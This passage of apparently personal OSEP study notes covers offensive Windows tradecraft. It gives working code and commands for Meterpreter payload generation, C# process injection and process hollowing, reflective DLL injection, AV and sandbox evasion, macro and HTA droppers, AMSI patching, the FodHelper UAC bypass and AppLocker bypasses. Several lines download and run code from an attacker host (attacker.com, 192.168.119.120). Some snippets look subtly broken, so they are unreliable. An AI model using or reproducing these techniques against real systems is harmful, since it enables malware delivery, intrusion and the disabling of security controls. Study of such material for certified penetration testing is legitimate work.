C:\Tools> DotNetToJscript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js

Double-click the .js file to execute shellcode directly in memory. The entire assembly loads and executes without touching disk during execution.

4.2.6 SharpShooter

SharpShooter is an automated payload generation framework for converting C# assemblies into multiple formats (Jscript, VBScript, HTA, Office macros). Automates the DotNetToJscript process and adds HTML smuggling capabilities.

Installation on Kali:

cd /opt/
sudo git clone https://github.com/mdsecactivebreach/SharpShooter.git
cd SharpShooter/
sudo pip install -r requirements.txt

Generate Meterpreter reverse payload:

sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt

Generate Jscript payload with SharpShooter:

sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test

Parameters explained:

  • --payload js: Jscript output format
  • --dotnetver 4: .NET 4.0 framework
  • --stageless: Entire Jscript payload transferred at once (vs HTML smuggling staged approach)
  • --rawscfile: Shellcode file location
  • --output: Output filename (no extension added)

The generated test.js file can be delivered via email or phishing link. Double-clicking executes in-memory Meterpreter shell.


4.3 In-memory PowerShell Revisited

Theory

Separate compilation and execution phases: compile C# assembly to DLL offline, then load pre-compiled assembly directly into memory via PowerShell without touching disk. This avoids Add-Type complexity while maintaining in-memory execution.

4.3.1 Reflective Load

Create Class Library (.NET Framework) project in Visual Studio. This generates a managed DLL when compiled.

Download DLL and load directly into PowerShell:

(New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/ClassLibrary1.dll','C:\Users\Offsec\ClassLibrary1.dll')

$assem = [System.Reflection.Assembly]::LoadFile("C:\Users\Offsec\ClassLibrary1.dll")
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

Why this approach: LoadFile loads precompiled DLL directly. GetType/GetMethod enable reflection-based invocation. Avoids disk-to-memory compilation overhead of Add-Type. Works in both PowerShell and native C# with Reflection namespace.


Chapter 5: Process Injection and Migration

Overview

Process injection extends shell longevity by executing code in processes that won't terminate (explorer.exe) or that generate legitimate network traffic (svchost.exe). Migration techniques include DLL injection, reflective DLL injection, and process hollowing. Each trades off complexity for stealth and persistence.

5.1 Finding a Home for Our Shellcode

Theory

Instead of executing shellcode in the current process (which terminates when closed), inject into long-running processes:

  • explorer.exe: User desktop host, won't terminate during session
  • notepad.exe: Hidden process, less suspicious
  • svchost.exe: System service, generates network traffic legitimately

Process injection requires:

  1. Opening handle to target process (OpenProcess)
  2. Allocating memory in remote process (VirtualAllocEx)
  3. Writing shellcode to remote memory (WriteProcessMemory)
  4. Executing shellcode via remote thread (CreateRemoteThread)

Security Considerations

Process access depends on Security Descriptors and Integrity Levels:

  • PROCESS_ALL_ACCESS (0x001F0FFF) grants full access but blocked by integrity level restrictions
  • Medium Integrity (standard user): Can access explorer.exe (also Medium)
  • High Integrity (admin): Can access any Medium or lower process
  • Cannot inject upward (lower to higher integrity level)

5.2 Process Injection in C#

Theory

Use P/Invoke to call Win32 process injection APIs from C#. This provides equivalent functionality to PowerShell without detection overhead.

Basic Pattern

Import required Win32 APIs:

using System;
using System.Runtime.InteropServices;

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

Complete injection code:

IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

byte[] buf = new byte[591] { 0xfc,0x48,0x83,0xe4,0xf0,0xf8... };

IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Explanation:

  • OpenProcess (0x001F0FFF = PROCESS_ALL_ACCESS, 4804 = explorer.exe PID): Opens handle to explorer
  • VirtualAllocEx: Allocates RWX memory in remote process
  • WriteProcessMemory: Copies shellcode to remote memory
  • CreateRemoteThread: Executes shellcode at allocated address in remote process

Note: The process ID (4804) changes each login. Use Process.GetProcessesByName("explorer") to resolve dynamically.


5.3 Reflective DLL Injection

5.3.1 Reflective DLL Injection Theory

Traditional DLL Injection Limitation: Must write DLL to disk first (e.g., met.dll), then call LoadLibrary to load it. This leaves forensic evidence.

Reflective DLL Injection: Parses PE (Portable Executable) file format in memory without calling LoadLibrary. This avoids disk writes and keeps DLL invisible to Process Explorer's DLL listing.

Advantages:

  • No disk artifacts
  • Invisible to tools checking loaded modules via GetProcAddress
  • DLL not visible in Process Explorer's DLL view

5.3.2 Reflective DLL Injection in PowerShell

Use Invoke-ReflectivePEInjection script (Joeâs Bialek and Matt Graeber):

Download DLL in memory and inject:

$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll')
$procid = (Get-Process -Name explorer).Id

Import-Module C:\Tools\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid

This loads DLL entirely in memory through reflection without writing to disk. The met.dll won't appear in Process Explorer's DLL listing.


5.4 Process Hollowing

5.4.1 Process Hollowing Theory

Problem with Previous Techniques: All inject into explorer.exe, which is common. Detection systems may monitor suspicious explorer.exe threads.

Process Hollowing: Create new suspended process (svchost.exe), replace its code with shellcode before execution resumes. This:

  1. Uses legitimate process name
  2. Executes before security monitoring engages
  3. Masks presence in process name monitoring

Implementation Steps:

  1. CREATE_SUSPENDED flag (0x4): Launch process in suspended state
  2. ZwQueryInformationProcess: Fetch Process Environment Block (PEB) address
  3. ReadProcessMemory: Read PE header from suspended process
  4. Calculate EntryPoint: Parse PE header offset (0x3C) to locate EntryPoint RVA at PE header + 0x28
  5. Calculate absolute EntryPoint address: EntryPoint = ImageBase + EntryPointRVA
  6. WriteProcessMemory: Overwrite original code with shellcode
  7. ResumeThread: Resume suspended thread to execute shellcode

PE Header Parsing:

Offset 0x3C: e_lfanew (4 bytes) = offset from PE start to PE header
PE header at (e_lfanew offset) contains:
  Offset 0x28: AddressOfEntryPoint (RVA - relative virtual address)

Calculation Example:

  • PEB base address: 0x3004000
  • Read first 0x200 bytes: e_lfanew at offset 0x3C = 0x0100
  • PE header at 0x3004000 + 0x0100 = 0x3004100
  • EntryPoint RVA at 0x3004100 + 0x28 = 0x01000138
  • Absolute EntryPoint = 0x3004000 + 0x01000138 = 0x4004138

5.4.2 Process Hollowing in C#

Create suspended svchost.exe process:

[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, IntPtr dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
    public Int32 cb;
    public IntPtr lpReserved;
    public IntPtr lpDesktop;
    public IntPtr lpTitle;
    public Int32 dwX;
    public Int32 dwY;
    public Int32 dwXSize;
    public Int32 dwYSize;
    public Int32 dwXCountChars;
    public Int32 dwYCountChars;
    public Int32 dwFillAttribute;
    public Int32 dwFlags;
    public Int16 wShowWindow;
    public Int16 cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
    public IntPtr hProcess;
    public IntPtr hThread;
    public int dwProcessId;
    public int dwThreadId;
}

STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);

Parameter 0x4 = CREATE_SUSPENDED: Process starts but thread halted before execution.

Fetch PEB and parse PE header:

[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInfoClass, ref PROCESS_BASIC_INFORMATION procInformation, uint procInformationLength, ref uint returnLength);

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
    public IntPtr Reserved1;
    public IntPtr PebAddress;
    public IntPtr Reserved2;
    public IntPtr Reserved3;
    public IntPtr UniquePid;
    public IntPtr MoreReserved;
}

PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;

ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);

Read PE header:

[DllImport("kernel32.dll")]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);

IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

// Read first 0x200 bytes to get PE header offset
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);

// Parse e_lfanew at offset 0x3C to find PE header
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;

IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);

Overwrite EntryPoint with shellcode:

byte[] buf = new byte[659] { 0xfc,0x48,0x83,0xe4,0xf0... };

WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);

ResumeThread(pi.hThread);

Why Hollowing works: Process name is svchost.exe (legitimate). Code replaces original program before thread execution. Detection is minimal because execution begins immediately after resume.

64-bit Limitation: CreateRemoteThread doesn't support 32-bit to 64-bit injection. 32-bit process cannot directly inject 64-bit shellcode. Workaround: Use 32-bit process like Notepad, then inject 64-bit payload through assembly code translation.


Summary: Technique Progression

TechniqueDetection RiskMemory OnlyStealthComplexity
Jscript DropperMediumNoLowLow
Jscript + C# RunnerLowYesMediumMedium
DotNetToJscriptLowYesMediumMedium
Reflective DLL InjectionVery LowYesHighHigh
Process HollowingVery LowYesHighVery High

Key Takeaway: As techniques progress, detection decreases but complexity increases. Start with appropriate technique for target environment.

OSEP Chapter 6-7: Antivirus Evasion Study Notes

Chapter 6: Introduction to Antivirus Evasion

AV Software Overview

Antivirus software detects malware through multiple mechanisms: signature-based detection (matching known malware patterns), heuristic analysis (examining behavioral indicators), and emulation (running code in sandboxes to detect suspicious activity). Modern AV employs layered defense with kernel-level drivers that monitor system calls and API hooks that intercept potentially dangerous operations.

The detection chain involves signature databases, behavioral analysis engines, and integration with cloud-based threat intelligence. Understanding where AV detection occurs is critical for evasion: file-level scanning at disk access, memory-level scanning during process injection or shellcode execution, and API-level monitoring through IAT (Import Address Table) hooks.

Target Environment Simulation

Target environment analysis involves understanding the specific Windows OS version, installed security software, and network configuration of the target system. AV products behave differently across Windows 7, Windows 10, and Windows 11, with varying levels of integration with Windows Defender and exploit hardening features.

Reconnaissance techniques include checking for running security processes, querying WMI for installed software, examining registry keys for AV configurations, and testing with benign payloads to determine real-time protection capabilities.

Signature Location and Bypass

Signatures are pattern matches stored in AV databases and updated regularly. They target:

  • File signatures: PE header markers, known malware hashes, suspicious sections (.text section containing shellcode)
  • Behavioral signatures: API call sequences (VirtualAlloc → memcpy → CreateThread pattern), registry modifications, file system writes
  • Content signatures: Keywords in code, suspicious strings, encoding markers

Bypass strategies include: modifying signatures through encoding/encryption, obfuscating suspicious API sequences, fragmenting code patterns across multiple function calls, and using legitimate Windows APIs in novel combinations.

Metasploit Encoders and Encryptors

Metasploit encoders transform shellcode using various algorithms to bypass signature detection while maintaining functionality. Key encoders include:

x86/shikata_ga_nai: Polymorphic encoder using XOR operations with random keys, modifying itself on each encoding iteration to avoid signature matches.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
  -e x86/shikata_ga_nai -i 5 -f c -o shellcode.txt

The -i 5 flag applies 5 iterations of encoding, multiplying obfuscation layers. Each iteration generates unique code despite identical payload input.

x86/fnstenv_mov: Uses x86 FPU instructions that are rarely hooked or detected, encoding shellcode through floating-point stack manipulation.

x86/jmp_call_additive: XOR-based encoding with relative address calculations, effective against simple signature patterns.

Encryptors differ from encoders by using symmetric encryption (AES, RC4) with embedded keys, requiring decryption stubs that execute before payload activation. Metasploit's built-in encryptors provide template shells but require custom implementation for production use.

C# Shellcode Runners

C# provides memory management and Windows API access through P/Invoke (Platform Invoke), enabling compact shellcode execution without direct assembly. The pattern involves:

  1. Allocate memory: VirtualAlloc() for executable space
  2. Copy shellcode: Marshal.Copy() to move shellcode into allocated memory
  3. Create thread: CreateThread() to execute shellcode
// P/Invoke declarations
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

// Allocate and execute
IntPtr shellcodeAddress = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
Marshal.Copy(shellcode, 0, shellcodeAddress, shellcode.Length);
CreateThread(IntPtr.Zero, 0, shellcodeAddress, IntPtr.Zero, 0, out uint threadId);
System.Threading.Thread.Sleep(10000); // Keep process alive

AV Evasion Integration: Encrypt shellcode using AES before embedding, decrypt at runtime using random keys, add junk code between API calls, and use delegates for indirect API invocation to defeat IAT hooks.

Behavior Evasion Techniques

Behavioral detection identifies malware through suspicious activity patterns rather than signatures. Key evasion techniques:

Sleep Timers: Insert delays between suspicious operations to evade emulation-based detection, which typically times out after 5-30 seconds.

System.Threading.Thread.Sleep(5000); // 5 second delay between operations

Non-Emulated API Usage: Call Windows APIs that most sandboxes don't implement fully, such as GetAsyncKeyState(), SetWindowsHookEx(), or hardware enumeration APIs. If these fail to execute properly, code skips malicious logic assuming sandbox environment.

Parent Process Checking: Verify the parent process is a legitimate application (explorer.exe, cmd.exe) rather than common sandbox parents (vmtoolsd.exe, qemu-ga.exe).

Registry Checks: Query for hypervisor keys (HKLM\Software\VMware, HKLM\Software\VirtualBox) or security software registrations to detect sandbox/VM environment.

using (RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\VMware")) {
    if (key == null) { /* Continue with malicious payload */ }
}

Geolocation/Time Checks: Verify system time is plausible and geolocation doesn't match known security lab locations before executing payload.

Office VBA Macros and Word Document Stomping

Microsoft Office documents can contain embedded Visual Basic for Applications (VBA) macros that execute with document-open events. The evasion advantage: Office applications are trusted processes, and macro execution appears legitimate to AV systems.

Word Document Creation:

Sub AutoOpen()
    ' VBA code executes automatically when document opens
    Shell "powershell -Command <encoded_command>"
End Sub

Document Stomping: Technique where legitimate document streams (text content) are preserved while macro streams are replaced with malicious code. The file displays benign content when opened, but macros execute silently. Word stores multiple streams (document.xml, vbaProject.bin, etc.); modify only the macro stream while preserving content.

Macro Obfuscation:

Sub AutoOpen()
    Dim cmd As String
    cmd = "powershell -EncodedCommand " & CreateObject("WScript.Shell").Environment("TEMP")
    CreateObject("WScript.Shell").Exec cmd
End Sub

Detection Bypass: Remove metadata that identifies document as macro-enabled, obfuscate macro variable names, split commands across multiple subroutines, and use document properties/fields to store encoded payloads.

PowerShell in VBA

PowerShell integration within VBA leverages PowerShell's scripting capabilities while maintaining the Office application trust model. VBA can:

  1. Invoke PowerShell: Launch hidden PowerShell process with encoded commands
  2. Execute Encoded Payloads: PowerShell's -EncodedCommand accepts base64-encoded scripts
  3. Leverage PowerShell Features: Script block logging evasion, downgrade attacks, WinRM execution
Sub ExecuteEncoded()
    Dim shell As Object
    Dim encodedCmd As String
    encodedCmd = "SQBFAFgAIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOjpVVEY4"
    Set shell = CreateObject("WScript.Shell")
    shell.Run "powershell -WindowStyle Hidden -EncodedCommand " & encodedCmd, 0
End Sub

Encoding Strategy: Base64 encode PowerShell scripts to bypass signature detection of suspicious keywords. PowerShell decodes and executes base64 strings transparently:

# Original command
Get-Process | Select Name

# Encoded (base64)
# UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAUwBBAEkAQQBBAEcARQBBAEkAQQBBAEcARQBBAEkAQQBBAEcAUgBDAEcAOABnAFMAVABBAEcASQBBAEcAQQA=

# Execute
powershell -EncodedCommand <base64>

Multi-Stage Approach: VBA macro launches PowerShell with minimal encoded stub that downloads and executes stage 2 payload from remote server, reducing initial file size and signature footprint.


Chapter 7: Advanced Antivirus Evasion

Intel Architecture and Windows 10

Modern Windows 10 systems use x86-64 (x64) architecture with hardware-assisted virtualization features (VT-x on Intel) that enable hypervisor functionality and exploit mitigations. Key architectural components relevant to evasion:

Address Space Layout Randomization (ASLR): Kernel randomizes memory addresses of loaded modules, requiring ROP (Return-Oriented Programming) gadgets or information leaks to compute target addresses for shellcode.

Data Execution Prevention (DEP): Memory marked as non-executable prevents shellcode in data sections (heap, stack) from executing. Shellcode must live in executable regions (.text) or use ROP chains.

Control Flow Guard (CFG): Validates indirect function calls against allowed target list, preventing jumping to arbitrary addresses. Requires finding CFG-compatible gadgets or disabling CFG per-process.

Kernel Patch Protection (KPP): Windows kernel memory pages are write-protected, preventing direct kernel modification. Requires hypervisor-based attacks or exploitation of privileged drivers.

Secure Boot and Measured Boot: Firmware verifies bootloader signature and measures boot chain, detecting rootkit attempts at firmware level.

WinDbg and Kernel Debugging

WinDbg (Windows Debugger) is the native kernel debugger enabling step-through execution, memory inspection, and breakpoint-based analysis at kernel level. Attackers use WinDbg for:

  1. Reverse Engineering Kernel Code: Analyze kernel functions, driver behavior, and security features
  2. Exploit Development: Test shellcode, ROP chains, and kernel exploits in controlled environment
  3. Vulnerability Analysis: Inspect memory layouts, identify information leaks, test privilege escalation

WinDbg Commands:

kd> !process 0 0              // List all processes
kd> !process <PID>           // Inspect specific process
kd> dt ntdll!_PEB <addr>     // Dump PEB structure
kd> u <addr>                 // Disassemble at address
kd> bp <addr>                // Set breakpoint
kd> bl                        // List breakpoints
kd> g                         // Continue execution
kd> dd <addr> <size>         // Dump dword values
kd> !pte <addr>              // Inspect page table entry

Defensive Implications: Detect kernel debugger attachment by querying BeingDebugged flag in PEB, checking debug registers (DR0-DR7), or verifying kernel mode code hasn't been modified.

AMSI: Understanding and Architecture

The Antimalware Scan Interface (AMSI) is a Windows security feature providing real-time content scanning for scripts, documents, and other potentially dangerous content before execution. AMSI operates at multiple levels:

User Mode: PowerShell, VBScript, JavaScript, and Office macros call AmsiScanBuffer API to request content scanning before execution.

Kernel Mode: Windows kernel provides AMSI dispatch table directing scan requests to registered AV providers.

Provider Level: Third-party AV software implements AmsiScanString/AmsiScanBuffer handlers to inspect content and return detection results.

AMSI scanning flow:

  1. Script/content engine calls AmsiScanBuffer(session, buffer, length, ...)
  2. Kernel dispatches to registered provider (Defender, third-party AV)
  3. Provider analyzes content and returns AMSI_RESULT_CLEAN, AMSI_RESULT_DETECTED, or AMSI_RESULT_NOT_EVALUATED
  4. Script engine proceeds or blocks based on result
// AMSI API signature
HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    PVOID buffer,
    ULONG length,
    LPCWSTR contentName,
    HAMSISTREAM amsiStream,
    PAMSI_RESULT result
);

AMSI Hooking with Frida

Frida is a dynamic instrumentation framework enabling runtime code modification without recompilation. AMSI hooking with Frida intercepts AmsiScanBuffer calls and modifies return values to always report "CLEAN" status.

Frida Hook Implementation:

// Frida script to bypass AMSI
const amsiModule = Process.getModuleByName("amsi.dll");
const AmsiScanBufferAddr = amsiModule.base.add(0x1000); // Simplified address

Interceptor.attach(AmsiScanBufferAddr, {
    onEnter: function(args) {
        console.log("AmsiScanBuffer called");
        console.log("Buffer: " + args[1]);
        console.log("Length: " + args[2]);
    },
    onLeave: function(retval) {
        console.log("Returning: 0 (CLEAN)");
        retval.replace(0); // Return AMSI_RESULT_CLEAN
    }
});

Deployment: Frida runs as agent process injecting hooks into target process (PowerShell, Office, etc.), intercepting AMSI calls before they reach detection providers.

AMSI Bypass: PowerShell Reflection

PowerShell reflection enables modifying AmsiScanBuffer behavior from within PowerShell scripts without external tools. The technique patches the AmsiScanBuffer function's first bytes to return immediately with CLEAN status.

Reflection-Based Bypass:

$amsiAsm = @"
public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
public static extern IntPtr LoadLibrary(string name);
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumberOfBytesWritten);
"@

Add-Type -MemberDefinition $amsiAsm -Name Win32 -Namespace AmsiBypass

# Get amsi.dll base and AmsiScanBuffer function
$amsiLib = [AmsiBypass.Win32]::LoadLibrary("amsi.dll")
$amsiFunc = [AmsiBypass.Win32]::GetProcAddress($amsiLib, "AmsiScanBuffer")

# Change memory protection to RWX
$oldProtect = 0
[AmsiBypass.Win32]::VirtualProtect($amsiFunc, 5, 0x40, [ref]$oldProtect)

# Overwrite first 5 bytes with "ret" instruction (C3) and NOPs
$patch = [byte[]]@(0xC3, 0x90, 0x90, 0x90, 0x90)
$buf = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(5)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $buf, 5)
[AmsiBypass.Win32]::WriteProcessMemory([System.Diagnostics.Process]::GetCurrentProcess().Handle, $amsiFunc, $buf, 5, [ref]$null)

# Restore protection
[AmsiBypass.Win32]::VirtualProtect($amsiFunc, 5, $oldProtect, [ref]$oldProtect)

Why It Works: The patch modifies AmsiScanBuffer's first instruction to immediate return, bypassing all signature checks. Detection is difficult because the modification occurs in memory, not on disk.

AMSI Bypass: Assembly Patching

Lower-level AMSI bypass through direct assembly manipulation. Rather than using PowerShell reflection, assembly-level techniques directly modify AMSI.dll in memory.

Assembly Patch Techniques:

  1. Function Prologue Modification: Replace first instruction with "ret" (0xC3) to return immediately
  2. Conditional Jump Inversion: Modify conditional jumps to skip detection logic
  3. Return Value Modification: Patch return value assignments to always set CLEAN status
// C# assembly patching example
IntPtr amsiLib = LoadLibrary("amsi.dll");
IntPtr amsiFunc = GetProcAddress(amsiLib, "AmsiScanBuffer");

// Patch: change first byte to 0xC3 (ret instruction)
byte[] patch = new byte[] { 0xC3, 0x90, 0x90, 0x90, 0x90 };
VirtualProtect(amsiFunc, 5, 0x40, out uint oldProtect); // RWX
Marshal.Copy(patch, 0, amsiFunc, patch.Length);
VirtualProtect(amsiFunc, 5, oldProtect, out _); // Restore

AMSI Wrecking and Registry Modification

"Wrecking" AMSI involves disabling AMSI providers through registry modification or API hooks that prevent them from loading. Windows stores AMSI provider paths in registry:

HKLM\SOFTWARE\Microsoft\AMSI\Providers

Disable via Registry:

# Remove Windows Defender AMSI provider registration
Remove-Item "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Force

# Query remaining providers
Get-Item "HKLM:\SOFTWARE\Microsoft\AMSI\Providers"

Effect: AMSI dispatch stops registering removed providers, reducing detection capability. However, Windows Defender typically re-registers automatically on next boot or security update.

Advanced Registry Bypass:

# Modify AMSI provider DLL path to invalid location
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{GUID}" `
  -Name "DLL" `
  -Value "C:\Windows\System32\nonexistent.dll"

UAC Bypass: FodHelper vs Microsoft Defender

User Account Control (UAC) restricts privileged operations, requiring admin consent or elevation. UAC bypass techniques execute code with elevated privileges, bypassing consent dialogs.

FodHelper Bypass Technique:

FodHelper (Features on Demand Helper) is a Windows system utility that executes with high integrity automatically. It reads execution path from registry without UAC prompt:

# Create registry key for code execution path
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
  -Name "(Default)" `
  -Value "powershell -Command <payload>"
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
  -Name "DelegateExecute" `
  -Value "" # Required empty value

# Trigger FodHelper execution (bypasses UAC)
Start-Process "C:\Windows\System32\fodhelper.exe"

Why It Works: FodHelper uses LaunchUriHandler Windows API which reads the registered URI handler (ms-settings) from HKCU registry. The HKCU registry is user-writable without elevation. FodHelper runs with high integrity and executes the registered command, resulting in elevated code execution.

Microsoft Defender Interaction: Modern Defender versions detect and block FodHelper UAC bypass by monitoring registry modifications for known bypass patterns. Detection occurs on:

  • Registry key creation in HKCU\Software\Classes\
  • Modification of Shell\Open\command paths
  • Launch of FodHelper with registry-sourced command execution

Alternative UAC Bypasses:

  • DLL Hijacking: Place malicious DLL in system directory alongside legitimate .exe that requires elevation
  • COM Interface Elevation: Invoke COM objects with elevated privileges (e.g., UACMe techniques)
  • Token Impersonation: Use legitimate tools (e.g., PsExec) with stolen admin tokens

AMSI Bypass: JScript and WScript Execution

JScript (Microsoft's implementation of JavaScript) can be executed through Windows Script Host (WSH) or embedded in HTML Applications (.hta). JScript bypasses PowerShell's script block logging and can implement AMSI evasion independently.

JScript AMSI Bypass via WScript:

// JScript code (save as .js file)
var amsiModule = GetObject("winmgmts:").ExecMethod(".").GetObject('winmgmts:').GetObject("winmgmts:").GetObject("winmgmts:");

// Alternative: Invoke command through cmd.exe
var shell = new ActiveXObject("WScript.Shell");
var cmd = "powershell -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')";
shell.Exec(cmd);

HTA Execution (HTML Application):

<!-- Save as payload.hta -->
<html>
<head>
<title>Windows Update</title>
<script language="VBScript">
Sub AutoOpen()
    Dim shell
    Set shell = CreateObject("WScript.Shell")
    shell.Run "powershell -EncodedCommand <base64>", 0
End Sub
</script>
</head>
<body onload="AutoOpen()">
<h1>Updating...</h1>
</body>
</html>

Evasion Benefits:

  • JScript executes without PowerShell logging (Event ID 4104)
  • HTA files run with elevated integrity if launched from trusted location
  • WScript.Shell COM object provides full system access
  • AMSI typically doesn't scan JScript content with same rigor as PowerShell

Detection Evasion: Obfuscate JavaScript variable names, split command execution across multiple functions, use COM object indirection to avoid direct API calls, and chain multiple script execution methods.


Summary: Layered Evasion Strategy

Effective AV evasion combines multiple techniques:

  1. Encoding/Encryption: Metasploit encoders or custom encryption of shellcode/commands
  2. Signature Avoidance: Fragmenting suspicious API patterns, using legitimate APIs in novel ways
  3. Behavioral Obfuscation: Sleep timers, VM/sandbox detection, parent process checking
  4. Delivery Mechanisms: Office macros, VBA, HTA, JScript for trusted execution contexts
  5. Runtime Bypass: AMSI patching (reflection, assembly), UAC bypass (FodHelper, COM), privilege escalation
  6. Multi-Stage Approach: Minimal first-stage payload that downloads and executes second-stage, reducing initial detection surface

Success requires understanding both the target environment (OS, installed AV, security policies) and the specific detection mechanisms employed by the deployed AV solution.

Chapter 8: Application Whitelisting

Theory and Concepts

Application whitelisting is a security control that restricts execution to only approved applications. AppLocker is Windows' built-in application whitelisting mechanism that uses rules to define which applications, DLLs, scripts, and installers can run. It operates at the kernel level and can enforce policies based on file path, file hash, or publisher certificate signatures. AppLocker is more flexible and granular than Software Restriction Policies (SRP), allowing rules based on file attributes rather than just path restrictions.

AppLocker Setup and Rules

AppLocker rules define what can execute. Rule types include:

  • Executable rules: Control .exe and .com files
  • Windows Installer rules: Control .msi and .msp files
  • Script rules: Control .ps1, .bat, .cmd, .vbs, .js files
  • DLL rules: Control library loading

Each rule type can use three criteria:

  • Path rules: Based on file location (least secure, easily bypassed)
  • Hash rules: Based on file SHA256 hash (secure but requires updating for each version)
  • Publisher rules: Based on Authenticode signature (most flexible and maintainable)

Default AppLocker rules in Windows typically allow:

  • System32 and Program Files execution
  • Windows-signed binaries
  • User write-accessible locations often excluded from rules

Basic Bypasses

Trusted Folders

Many AppLocker configurations exclude certain directories. Common bypasses:

  • User writable directories in trusted paths (e.g., C:\Program Files\Common Files)
  • C:\Windows\Temp and C:\Windows\Tasks (often whitelisted)
  • Copying malicious executables to trusted locations

DLL Abuse

DLL rules are often not fully enforced. Techniques:

  • Loading unsigned DLLs from user-writable paths
  • DLL search order hijacking (DLL placed in same directory as trusted executable)
  • COM object instantiation loading unprotected DLLs

Alternate Data Streams (ADS)

NTFS Alternate Data Streams can hide content:

type C:\malware.exe > C:\legit.exe:hidden.exe

Executing hidden streams (though direct execution is difficult in modern Windows):

